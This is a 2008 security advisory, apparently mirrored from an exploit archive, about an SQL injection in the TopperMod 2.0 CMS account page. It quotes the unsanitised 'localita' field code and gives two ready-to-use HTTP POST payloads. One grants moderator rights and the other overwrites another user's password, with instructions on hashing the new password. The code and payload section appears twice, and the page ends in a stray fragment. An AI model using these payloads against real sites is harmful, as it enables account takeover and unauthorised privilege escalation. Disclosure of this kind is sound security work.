TopperMod 2.0 Remote SQL Injection Vulnerability
2008-03-27T00:00:00ID SECURITYVULNS:DOC:19525
Type securityvulns
Reporter Securityvulns
Modified 2008-03-27T00:00:00
Type securityvulns
Reporter Securityvulns
Modified 2008-03-27T00:00:00
Description
Author: GiReX
mySite: www.r57shell.in
CMS: TopperMod v2.0
Site: www.wikipediatr.com
Bug: SQL Injection
Type: 1 - Priviledge Escalation (from user to mod)
2 - Remote user password change
File: /account/index.php
Var : $localita
Need: magic_quotes_gpc = Off
You must be logged in
Vuln Code: /account/index.php:
case "edituser_save":
...
$localita=$_POST['localita'];
...
if ($localita!="") {
if (eregi("^[a-zA-Z0-9]",$localita)) {
$localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
}
}
And if our $_POST['localita'] does not begin with a char or a number?
Input not sanizated
...
$res=dbquery("UPDATE ".PREFISSO."_utenti SET email='$email', localita='$localita', sito='$sito',
tema='$tema_user', time_zone='$time_zone' $pass
WHERE user_id='$user_id' ");
Vulnerable query :D
PoC 1:
POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...
email=someone@somewhere.dot&localita=@', permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]
PoC 2:
POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...
email=someone@somewhere.dot&localita=@', password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]
Note: [PASSWORD] must be the md5 of the md5 of the wanted password, you must forget in the content the end quote
We can also try to get admin hash trought sql subqueries but the password is crypted into md5 2 times
and Admins don't use cookies in this CMS...
2 - Remote user password change
You must be logged in
case "edituser_save":
...
$localita=$_POST['localita'];
...
if ($localita!="") {
if (eregi("^[a-zA-Z0-9]",$localita)) {
$localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
}
}
...
$res=dbquery("UPDATE ".PREFISSO."_utenti SET email='$email', localita='$localita', sito='$sito',
tema='$tema_user', time_zone='$time_zone' $pass
WHERE user_id='$user_id' ");
POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...
email=someone@somewhere.dot&localita=@', permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]
POST /[PATH]/mod.php?mod=account HTTP/1.1
Host: [TARGET]
...headers...
email=someone@somewhere.dot&localita=@', password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]
Protected by
